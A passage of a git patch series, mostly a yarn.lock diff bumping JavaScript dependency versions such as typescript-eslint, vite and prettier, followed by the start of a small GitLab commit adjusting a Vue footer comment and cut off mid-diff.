-    "@typescript-eslint/utils" "8.24.1"
-    "@typescript-eslint/visitor-keys" "8.24.1"
+    "@typescript-eslint/scope-manager" "8.25.0"
+    "@typescript-eslint/type-utils" "8.25.0"
+    "@typescript-eslint/utils" "8.25.0"
+    "@typescript-eslint/visitor-keys" "8.25.0"
     graphemer "^1.4.0"
     ignore "^5.3.1"
     natural-compare "^1.4.0"
     ts-api-utils "^2.0.1"
 
 "@typescript-eslint/parser@^8.5.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.24.1.tgz#67965c2d2ddd7eadb2f094c395695db8334ef9a2"
-  integrity sha512-Tqoa05bu+t5s8CTZFaGpCH2ub3QeT9YDkXbPd3uQ4SfsLoh1/vv2GEYAioPoxCWJJNsenXlC88tRjwoHNts1oQ==
-  dependencies:
-    "@typescript-eslint/scope-manager" "8.24.1"
-    "@typescript-eslint/types" "8.24.1"
-    "@typescript-eslint/typescript-estree" "8.24.1"
-    "@typescript-eslint/visitor-keys" "8.24.1"
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.25.0.tgz#58fb81c7b7a35184ba17583f3d7ac6c4f3d95be8"
+  integrity sha512-4gbs64bnbSzu4FpgMiQ1A+D+urxkoJk/kqlDJ2W//5SygaEiAP2B4GoS7TEdxgwol2el03gckFV9lJ4QOMiiHg==
+  dependencies:
+    "@typescript-eslint/scope-manager" "8.25.0"
+    "@typescript-eslint/types" "8.25.0"
+    "@typescript-eslint/typescript-estree" "8.25.0"
+    "@typescript-eslint/visitor-keys" "8.25.0"
     debug "^4.3.4"
 
-"@typescript-eslint/scope-manager@8.24.1", "@typescript-eslint/scope-manager@^8.1.0", "@typescript-eslint/scope-manager@^8.13.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.24.1.tgz#1e1e76ec4560aa85077ab36deb9b2bead4ae124e"
-  integrity sha512-OdQr6BNBzwRjNEXMQyaGyZzgg7wzjYKfX2ZBV3E04hUCBDv3GQCHiz9RpqdUIiVrMgJGkXm3tcEh4vFSHreS2Q==
+"@typescript-eslint/scope-manager@8.25.0", "@typescript-eslint/scope-manager@^8.1.0", "@typescript-eslint/scope-manager@^8.13.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.25.0.tgz#ac3805077aade898e98ca824294c998545597df3"
+  integrity sha512-6PPeiKIGbgStEyt4NNXa2ru5pMzQ8OYKO1hX1z53HMomrmiSB+R5FmChgQAP1ro8jMtNawz+TRQo/cSXrauTpg==
   dependencies:
-    "@typescript-eslint/types" "8.24.1"
-    "@typescript-eslint/visitor-keys" "8.24.1"
+    "@typescript-eslint/types" "8.25.0"
+    "@typescript-eslint/visitor-keys" "8.25.0"
 
-"@typescript-eslint/type-utils@8.24.1":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.24.1.tgz#99113e1df63d1571309d87eef68967344c78dd65"
-  integrity sha512-/Do9fmNgCsQ+K4rCz0STI7lYB4phTtEXqqCAs3gZW0pnK7lWNkvWd5iW545GSmApm4AzmQXmSqXPO565B4WVrw==
+"@typescript-eslint/type-utils@8.25.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.25.0.tgz#ee0d2f67c80af5ae74b5d6f977e0f8ded0059677"
+  integrity sha512-d77dHgHWnxmXOPJuDWO4FDWADmGQkN5+tt6SFRZz/RtCWl4pHgFl3+WdYCn16+3teG09DY6XtEpf3gGD0a186g==
   dependencies:
-    "@typescript-eslint/typescript-estree" "8.24.1"
-    "@typescript-eslint/utils" "8.24.1"
+    "@typescript-eslint/typescript-estree" "8.25.0"
+    "@typescript-eslint/utils" "8.25.0"
     debug "^4.3.4"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/types@8.24.1", "@typescript-eslint/types@^8.5.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.24.1.tgz#8777a024f3afc4ace5e48f9a804309c6dd38f95a"
-  integrity sha512-9kqJ+2DkUXiuhoiYIUvIYjGcwle8pcPpdlfkemGvTObzgmYfJ5d0Qm6jwb4NBXP9W1I5tss0VIAnWFumz3mC5A==
+"@typescript-eslint/types@8.25.0", "@typescript-eslint/types@^8.5.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.25.0.tgz#f91512c2f532b1d6a8826cadd0b0e5cd53cf97e0"
+  integrity sha512-+vUe0Zb4tkNgznQwicsvLUJgZIRs6ITeWSCclX1q85pR1iOiaj+4uZJIUp//Z27QWu5Cseiw3O3AR8hVpax7Aw==
 
-"@typescript-eslint/typescript-estree@8.24.1", "@typescript-eslint/typescript-estree@^8.13.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.24.1.tgz#3bb479401f8bd471b3c6dd3db89e7256977c54db"
-  integrity sha512-UPyy4MJ/0RE648DSKQe9g0VDSehPINiejjA6ElqnFaFIhI6ZEiZAkUI0D5MCk0bQcTf/LVqZStvQ6K4lPn/BRg==
+"@typescript-eslint/typescript-estree@8.25.0", "@typescript-eslint/typescript-estree@^8.13.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.25.0.tgz#d8409c63abddd4cf5b93c031b24b9edc1c7c1299"
+  integrity sha512-ZPaiAKEZ6Blt/TPAx5Ot0EIB/yGtLI2EsGoY6F7XKklfMxYQyvtL+gT/UCqkMzO0BVFHLDlzvFqQzurYahxv9Q==
   dependencies:
-    "@typescript-eslint/types" "8.24.1"
-    "@typescript-eslint/visitor-keys" "8.24.1"
+    "@typescript-eslint/types" "8.25.0"
+    "@typescript-eslint/visitor-keys" "8.25.0"
     debug "^4.3.4"
     fast-glob "^3.3.2"
     is-glob "^4.0.3"
@@ -3076,22 +3076,22 @@
     semver "^7.6.0"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/utils@8.24.1", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.24.1.tgz#08d14eac33cfb3456feeee5a275b8ad3349e52ed"
-  integrity sha512-OOcg3PMMQx9EXspId5iktsI3eMaXVwlhC8BvNnX6B5w9a4dVgpkQZuU8Hy67TolKcl+iFWq0XX+jbDGN4xWxjQ==
+"@typescript-eslint/utils@8.25.0", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.25.0.tgz#3ea2f9196a915ef4daa2c8eafd44adbd7d56d08a"
+  integrity sha512-syqRbrEv0J1wywiLsK60XzHnQe/kRViI3zwFALrNEgnntn1l24Ra2KvOAWwWbWZ1lBZxZljPDGOq967dsl6fkA==
   dependencies:
     "@eslint-community/eslint-utils" "^4.4.0"
-    "@typescript-eslint/scope-manager" "8.24.1"
-    "@typescript-eslint/types" "8.24.1"
-    "@typescript-eslint/typescript-estree" "8.24.1"
+    "@typescript-eslint/scope-manager" "8.25.0"
+    "@typescript-eslint/types" "8.25.0"
+    "@typescript-eslint/typescript-estree" "8.25.0"
 
-"@typescript-eslint/visitor-keys@8.24.1":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.24.1.tgz#8bdfe47a89195344b34eb21ef61251562148202b"
-  integrity sha512-EwVHlp5l+2vp8CoqJm9KikPZgi3gbdZAtabKT9KPShGeOcJhsv4Zdo3oc8T8I0uKEmYoU4ItyxbptjF08enaxg==
+"@typescript-eslint/visitor-keys@8.25.0":
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.25.0.tgz#e8646324cd1793f96e02669cb717a05319403164"
+  integrity sha512-kCYXKAum9CecGVHGij7muybDfTS2sD3t0L4bJsEZLkyrXUImiCTq1M3LG2SRtOhiHFwMR9wAFplpT6XHYjTkwQ==
   dependencies:
-    "@typescript-eslint/types" "8.24.1"
+    "@typescript-eslint/types" "8.25.0"
     eslint-visitor-keys "^4.2.0"
 
 "@ungap/structured-clone@^1.0.0":
@@ -3676,10 +3676,10 @@
   dependencies:
     rfdc "^1.4.1"
 
-"@vue/language-core@2.2.2":
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/@vue/language-core/-/language-core-2.2.2.tgz#aa0e916bf18434077887e8ba269729b45564f625"
-  integrity sha512-QotO41kurE5PLf3vrNgGTk3QswO2PdUFjBwNiOi7zMmGhwb25PSTh9hD1MCgKC06AVv+8sZQvlL3Do4TTVHSiQ==
+"@vue/language-core@2.2.4":
+  version "2.2.4"
+  resolved "https://registry.yarnpkg.com/@vue/language-core/-/language-core-2.2.4.tgz#5cad43a4cd6f388bebc3e8c6f303df489f5e8829"
+  integrity sha512-eGGdw7eWUwdIn9Fy/irJ7uavCGfgemuHQABgJ/hU1UgZFnbTg9VWeXvHQdhY+2SPQZWJqWXvRWIg67t4iWEa+Q==
   dependencies:
     "@volar/language-core" "~2.4.11"
     "@vue/compiler-dom" "^3.5.0"
@@ -4246,7 +4246,7 @@ bundle-require@^5.0.0, bundle-require@^5.1.0:
   dependencies:
     load-tsconfig "^0.2.3"
 
-c12@2.0.1, c12@^2.0.1, c12@^2.0.2:
+c12@2.0.1, c12@^2.0.1, c12@^2.0.2, c12@^2.0.4:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/c12/-/c12-2.0.1.tgz#5702d280b31a08abba39833494c9b1202f0f5aec"
   integrity sha512-Z4JgsKXHG37C6PYUtIxCfLJZvo6FyhHJoClwwb9ftUkLpPSkuYqn6Tr+vnaN8hymm0kIbcg6Ey3kv/Q71k5w/A==
@@ -4841,7 +4841,7 @@ cross-fetch@^3.0.4:
   dependencies:
     node-fetch "^2.7.0"
 
-cross-spawn@^7.0.0, cross-spawn@^7.0.3, cross-spawn@^7.0.6:
+cross-spawn@^7.0.3, cross-spawn@^7.0.6:
   version "7.0.6"
   resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
   integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
@@ -5609,9 +5609,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.103"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.103.tgz#3d02025bc16e96e5edb3ed3ffa2538a11ae682dc"
-  integrity sha512-P6+XzIkfndgsrjROJWfSvVEgNHtPgbhVyTkwLjUM2HU/h7pZRORgaTlHqfAikqxKmdJMLW8fftrdGWbd/Ds0FA==
+  version "1.5.104"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.104.tgz#e92a1ec54f279d8fc60eb7e8cf6add9631631f38"
+  integrity sha512-Us9M2L4cO/zMBqVkJtnj353nQhMju9slHm62NprKTmdF3HH8wYOtNvDFq/JB2+ZRoGLzdvYDiATlMHs98XBM1g==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -5749,7 +5749,7 @@ es-module-lexer@^1.5.3, es-module-lexer@^1.6.0:
   resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.6.0.tgz#da49f587fd9e68ee2404fe4e256c0c7d3a81be21"
   integrity sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==
 
-"esbuild@^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0", esbuild@~0.25.0:
+"esbuild@^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0", esbuild@^0.25.0, esbuild@~0.25.0:
   version "0.25.0"
   resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.25.0.tgz#0de1787a77206c5a79eeb634a623d39b5006ce92"
   integrity sha512-BXq5mqc8ltbaN34cDqWuYKyNhX8D/Z0J1xdtdQ8UcIIIyJyz+ZMKUt58tF3SrZ85jcfN/PZYhjR5uDQAYNVbuw==
@@ -6422,11 +6422,11 @@ fontkit@^2.0.2:
     unicode-trie "^2.0.0"
 
 foreground-child@^3.1.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.0.tgz#0ac8644c06e431439f8561db8ecf29a7b5519c77"
-  integrity sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.1.tgz#32e8e9ed1b68a3497befb9ac2b6adf92a638576f"
+  integrity sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==
   dependencies:
-    cross-spawn "^7.0.0"
+    cross-spawn "^7.0.6"
     signal-exit "^4.0.1"
 
 fraction.js@^4.3.7:
@@ -6714,9 +6714,9 @@ h3-compression@^0.3.2:
   integrity sha512-B+yCKyDRnO0BXSfjAP4tCXJgJwmnKp3GyH5Yh66mY9KuOCrrGQSPk/gBFG2TgH7OyB/6mvqNZ1X0XNVuy0qRsw==
 
 h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.14.0, h3@^1.15.0:
-  version "1.15.0"
-  resolved "https://registry.yarnpkg.com/h3/-/h3-1.15.0.tgz#1a149cbe8c0418691cae331d5744c0c65fbf42b3"
-  integrity sha512-OsjX4JW8J4XGgCgEcad20pepFQWnuKH+OwkCJjogF3C+9AZ1iYdtB4hX6vAb5DskBiu5ljEXqApINjR8CqoCMQ==
+  version "1.15.1"
+  resolved "https://registry.yarnpkg.com/h3/-/h3-1.15.1.tgz#59d6f70d7ef619fad74ecdf465a08fff898033bb"
+  integrity sha512-+ORaOBttdUm1E2Uu/obAyCguiI7MbBvsLTndc3gyK3zU+SYLoZXlyCP9Xgy0gikkGufFLTZXCXD6+4BsufnmHA==
   dependencies:
     cookie-es "^1.2.2"
     crossws "^0.3.3"
@@ -6724,7 +6724,6 @@ h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.14.0, h3@^1.15.0:
     destr "^2.0.3"
     iron-webcrypto "^1.2.1"
     node-mock-http "^1.0.0"
-    ohash "^1.1.4"
     radix3 "^1.1.2"
     ufo "^1.5.4"
     uncrypto "^0.1.3"
@@ -8920,9 +8919,9 @@ nanoid@^3.3.8:
   integrity sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==
 
 nanoid@^5.0.9:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-5.1.0.tgz#d61a0cde4db69c39f9320625fc86764c072f221f"
-  integrity sha512-zDAl/llz8Ue/EblwSYwdxGBYfj46IM1dhjVi8dyp9LQffoIGxJEAHj2oeZ4uNcgycSRcQ83CnfcZqEJzVDLcDw==
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-5.1.2.tgz#b87c6cb6941d127a23b24dffc4659bba48b219d7"
+  integrity sha512-b+CiXQCNMUGe0Ri64S9SXFcP9hogjAJ2Rd6GdVxhPLRm7mhGaM7VgOvCAJ1ZshfHbqVDI3uqTI5C8/GaKuLI7g==
 
 nanotar@^0.2.0:
   version "0.2.0"
@@ -9437,28 +9436,28 @@ nuxt-seo-utils@^6.0.11:
     scule "^1.3.0"
     ufo "^1.5.4"
 
-nuxt-site-config-kit@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.1.0.tgz#0775feb24f1663fdeed335bb1a7dc45334997305"
-  integrity sha512-DlzK1koGv2tcWFxhi7ly/ILDz9tIQ62l+iWYCx1skvtRkKatzFFf4JuJlLxHV3tUe06bAK1K1j1uEYc26a1+7A==
+nuxt-site-config-kit@3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.1.1.tgz#f7c2bdccd3e6e29da32c8dbb8d1a60db9f046291"
+  integrity sha512-WA29fs1RnN1vXLEIplLndequS4uSX4Bm5WvhjutnZaL92mtWWblwbF3lbbXY9zNsUDzGlmmrltlbV4dJMVkqrQ==
   dependencies:
     "@nuxt/kit" "^3.15.4"
     pkg-types "^1.3.1"
-    site-config-stack "3.1.0"
+    site-config-stack "3.1.1"
     std-env "^3.8.0"
     ufo "^1.5.4"
 
 nuxt-site-config@^3.0.7, nuxt-site-config@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.1.0.tgz#7ce384a59b92556600ecb0daf4dd29c462406357"
-  integrity sha512-p/MZ2MvAq12d89V9DCmi8iLrC2Ca7oTbQSVUqGy/Ybqm1ob08BOhKj5p/rbUZKqnbQ9YL0q3gr1Bh08VWHZb6g==
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.1.1.tgz#77bbdb3385c9148cc2e9f593230f85c24793f9b3"
+  integrity sha512-dyR0bceTGJPNTrfWVoEoltiveEU2sKUhQXoawkavtmIgUA0nbMXxuMEAXZaCx8xYvfsmSlStfipGlwelpl9faA==
   dependencies:
     "@nuxt/kit" "^3.15.4"
-    nuxt-site-config-kit "3.1.0"
+    nuxt-site-config-kit "3.1.1"
     pathe "^2.0.3"
     pkg-types "^1.3.1"
     sirv "^3.0.1"
-    site-config-stack "3.1.0"
+    site-config-stack "3.1.1"
     ufo "^1.5.4"
 
 nuxt@3.15.4:
@@ -9575,9 +9574,9 @@ ohash@^1.1.3, ohash@^1.1.4:
   integrity sha512-FlDryZAahJmEF3VR3w1KogSEdWX3WhA5GPakFx4J81kEAiHyLMpdLLElS8n8dfNadMgAne/MywcvmogzscVt4g==
 
 ohash@^2.0.2:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/ohash/-/ohash-2.0.4.tgz#ca6be3cc32fac3bfa0147f3c4fefa36a4a067825"
-  integrity sha512-ac+SFwzhdHb0hp48/dbR7Jta39qfbuj7t3hApd9uyHS8bisHTfVzSEvjOVgV0L3zG7VR2/7JjkSGimP75D+hOQ==
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/ohash/-/ohash-2.0.5.tgz#656fb31771124bcb903d7b675dd35cd711ea1bac"
+  integrity sha512-3k3APZwRRPYyohdIDmPTpe5i0AY5lm7gvu/Oip7tZrTaEGfSlKX+7kXUoWLd9sHX0GDRVwVvlW18yEcD7qS1zw==
 
 on-finished@2.4.1:
   version "2.4.1"
@@ -10425,7 +10424,7 @@ postcss-value-parser@^4.0.0, postcss-value-parser@^4.0.2, postcss-value-parser@^
   resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
   integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
 
-"postcss@^7.0.27 || ^8.0.0", postcss@^8.1.10, postcss@^8.2.15, postcss@^8.4.31, postcss@^8.4.48, postcss@^8.4.49, postcss@^8.5.1, postcss@^8.5.2:
+"postcss@^7.0.27 || ^8.0.0", postcss@^8.1.10, postcss@^8.2.15, postcss@^8.4.31, postcss@^8.4.48, postcss@^8.4.49, postcss@^8.5.1, postcss@^8.5.3:
   version "8.5.3"
   resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.5.3.tgz#1463b6f1c7fb16fe258736cba29a2de35237eafb"
   integrity sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==
@@ -10465,9 +10464,9 @@ prettier-linter-helpers@^1.0.0:
     fast-diff "^1.1.2"
 
 prettier@^3.3.3:
-  version "3.5.1"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.1.tgz#22fac9d0b18c0b92055ac8fb619ac1c7bef02fb7"
-  integrity sha512-hPpFQvHwL3Qv5AdRvBFMhnKo4tYxp0ReXiPn2bxkiohEX6mBeBwEpBSQTkD458RaaDKQMYSp4hX4UtfUTA5wDw==
+  version "3.5.2"
+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.2.tgz#d066c6053200da0234bf8fa1ef45168abed8b914"
+  integrity sha512-lc6npv5PH7hVqozBR7lkBNOGXV9vMwROAPlumdBkX0wTbbzPu/U1hk5yL8p2pt4Xoc+2mkT8t/sow2YrV/M5qg==
 
 pretty-bytes@^6.1.1:
   version "6.1.1"
@@ -11121,9 +11120,9 @@ sass-loader@^16.0.0:
     neo-async "^2.6.2"
 
 sass@^1.77.8:
-  version "1.85.0"
-  resolved "https://registry.yarnpkg.com/sass/-/sass-1.85.0.tgz#0127ef697d83144496401553f0a0e87be83df45d"
-  integrity sha512-3ToiC1xZ1Y8aU7+CkgCI/tqyuPXEmYGJXO7H4uqp0xkLXUqp88rQQ4j1HmP37xSJLbCJPaIiv+cT1y+grssrww==
+  version "1.85.1"
+  resolved "https://registry.yarnpkg.com/sass/-/sass-1.85.1.tgz#18ab0bb48110ae99163778f06445b406148ca0d5"
+  integrity sha512-Uk8WpxM5v+0cMR0XjX9KfRIacmSG86RH4DCCZjLU2rFh5tyutt9siAXJ7G+YfxQ99Q6wrRMbMlVl6KqUms71ag==
   dependencies:
     chokidar "^4.0.0"
     immutable "^5.0.2"
@@ -11439,10 +11438,10 @@ sisteransi@^1.0.5:
   resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
   integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
 
-site-config-stack@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.1.0.tgz#8dd93ff8982784cc2cc5de5f9eaf3a3451cd069f"
-  integrity sha512-Y7Abf+tPz9XmEGzXNHwIZPSipTeDwneJkyBWOqjzj/gxMRETL9wnRhCWvHBJxxmPfPewhUkrJHi9wK9TeJFRHQ==
+site-config-stack@3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.1.1.tgz#fe24eb894ec10a6486b9a884b9ed26eccbcf9f66"
+  integrity sha512-hIDGCIsfoOLjni4yy7EC4LpPMF5+Le3PvQ9/YCi/l4F+g7OKNE1ksemnQMsA8gDJ+duFJFWL4k2fO9jSzz3aZw==
   dependencies:
     ufo "^1.5.4"
 
@@ -12745,9 +12744,9 @@ vite-hot-client@^0.2.4:
   integrity sha512-a1nzURqO7DDmnXqabFOliz908FRmIppkBKsJthS8rbe8hBEXwEwe4C3Pp33Z1JoFCYfVL4kTOMLKk0ZZxREIeA==
 
 vite-node@^3.0.4:
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/vite-node/-/vite-node-3.0.6.tgz#a68c06c08e95c9a83f21993eabb17e0398804b1b"
-  integrity sha512-s51RzrTkXKJrhNbUzQRsarjmAae7VmMPAsRT7lppVpIg6mK3zGthP9Hgz0YQQKuNcF+Ii7DfYk3Fxz40jRmePw==
+  version "3.0.7"
+  resolved "https://registry.yarnpkg.com/vite-node/-/vite-node-3.0.7.tgz#f15bc1e0c343ac00115a52c7e110471a5a315c72"
+  integrity sha512-2fX0QwX4GkkkpULXdT1Pf4q0tC1i1lFOyseKoonavXUNlQ77KpW2XqBGGNIm/J4Ows4KxgGJzDguYVPKwG/n5A==
   dependencies:
     cac "^6.7.14"
     debug "^4.4.0"
@@ -12806,12 +12805,12 @@ vite-plugin-vue-inspector@^5.3.1:
     magic-string "^0.30.4"
 
 "vite@^5.0.0 || ^6.0.0", vite@^6.0.11:
-  version "6.1.1"
-  resolved "https://registry.yarnpkg.com/vite/-/vite-6.1.1.tgz#c1f221749298357b9230782a04483e60ad83c8db"
-  integrity sha512-4GgM54XrwRfrOp297aIYspIti66k56v16ZnqHvrIM7mG+HjDlAwS7p+Srr7J6fGvEdOJ5JcQ/D9T7HhtdXDTzA==
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/vite/-/vite-6.2.0.tgz#9dcb543380dab18d8384eb840a76bf30d78633f0"
+  integrity sha512-7dPxoo+WsT/64rDcwoOjk76XHj+TqNTIvHKcuMQ1k4/SeHDaQt5GFAeLYzrimZrMpn/O6DtdI03WUjdxuPM0oQ==
   dependencies:
-    esbuild "^0.24.2"
-    postcss "^8.5.2"
+    esbuild "^0.25.0"
+    postcss "^8.5.3"
     rollup "^4.30.1"
   optionalDependencies:
     fsevents "~2.3.3"
@@ -12898,19 +12897,19 @@ vue-bundle-renderer@^2.1.1:
     ufo "^1.5.4"
 
 vue-component-meta@^2.2.0:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/vue-component-meta/-/vue-component-meta-2.2.2.tgz#9c4f62d278c24a8f857b143072863129d782097b"
-  integrity sha512-quBvuahPkUvHXtxtkXYM+UnXKGgFLM4KxcdFr8HXGwxYLXazJge5POU/4ZG0TN9hhqROTjffuelnkPrFHS8tYw==
+  version "2.2.4"
+  resolved "https://registry.yarnpkg.com/vue-component-meta/-/vue-component-meta-2.2.4.tgz#330678c7d9f7d6ceccb3218dba673095be6311ed"
+  integrity sha512-Nv2B3+PwSH84ZpJDvOdn+kvkWv0kJAke6VljiFDatpE169C4Gt8oEUPoF5LdUkrdpjbWa4vvIDV4uueA8RSnaQ==
   dependencies:
     "@volar/typescript" "~2.4.11"
-    "@vue/language-core" "2.2.2"
+    "@vue/language-core" "2.2.4"
     path-browserify "^1.0.1"
-    vue-component-type-helpers "2.2.2"
+    vue-component-type-helpers "2.2.4"
 
-vue-component-type-helpers@2.2.2:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.2.tgz#30bf59752635b6e61e666803718dec83d0f2db20"
-  integrity sha512-6lLY+n2xz2kCYshl59mL6gy8OUUTmkscmDFMO8i7Lj+QKwgnIFUZmM1i/iTYObtrczZVdw7UakPqDTGwVSGaRg==
+vue-component-type-helpers@2.2.4:
+  version "2.2.4"
+  resolved "https://registry.yarnpkg.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.4.tgz#85c528441aa546679c951ccf249764d70690f930"
+  integrity sha512-F66p0XLbAu92BRz6kakHyAcaUSF7HWpWX/THCqL0TxySSj7z/nok5UUMohfNkkCm1pZtawsdzoJ4p1cjNqCx0Q==
 
 vue-demi@>=0.14.10:
   version "0.14.10"
@@ -13237,10 +13236,10 @@ zip-stream@^6.0.1:
     compress-commons "^6.0.2"
     readable-stream "^4.0.0"
 
-zod-to-json-schema@^3.24.2:
-  version "3.24.2"
-  resolved "https://registry.yarnpkg.com/zod-to-json-schema/-/zod-to-json-schema-3.24.2.tgz#0e24e4a963ab34cf4211ef5227e342c0c6eddb79"
-  integrity sha512-pNUqrcSxuuB3/+jBbU8qKUbTbDqYUaG1vf5cXFjbhGgoUuA1amO/y4Q8lzfOhHU8HNPK6VFJ18lBDKj3OHyDsg==
+zod-to-json-schema@^3.24.3:
+  version "3.24.3"
+  resolved "https://registry.yarnpkg.com/zod-to-json-schema/-/zod-to-json-schema-3.24.3.tgz#5958ba111d681f8d01c5b6b647425c9b8a6059e7"
+  integrity sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A==
 
 zod-to-ts@^1.2.0:
   version "1.2.0"
-- 
GitLab


From ce81bc51d602ae9081536dc33f1008a4b867f9c6 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Feb 2025 09:22:42 -0500
Subject: [PATCH 06/56] Skip db files

---
 components/navigation/footer/Footer.vue | 2 +-
 components/templates/Common.vue         | 1 +
 scripts/validate_built_routes.sh        | 6 ++++++
 3 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/navigation/footer/Footer.vue b/components/navigation/footer/Footer.vue
index 535691f1e..b4f41b2ee 100644
--- a/components/navigation/footer/Footer.vue
+++ b/components/navigation/footer/Footer.vue
@@ -10,7 +10,7 @@ defineProps<{
 
 const maxLinksPerColumnMobile = ref(10);
 
-// localization data
+//localization data
 const localizationData = useI18n();
 const allLocalesData = localizationData.locales.value;
 const route = useRoute();
diff --git a/components/templates/Common.vue b/components/templates/Common.vue
index 1d5356a15..7aca3dbf3 100644
--- a/components/templates/Common.vue
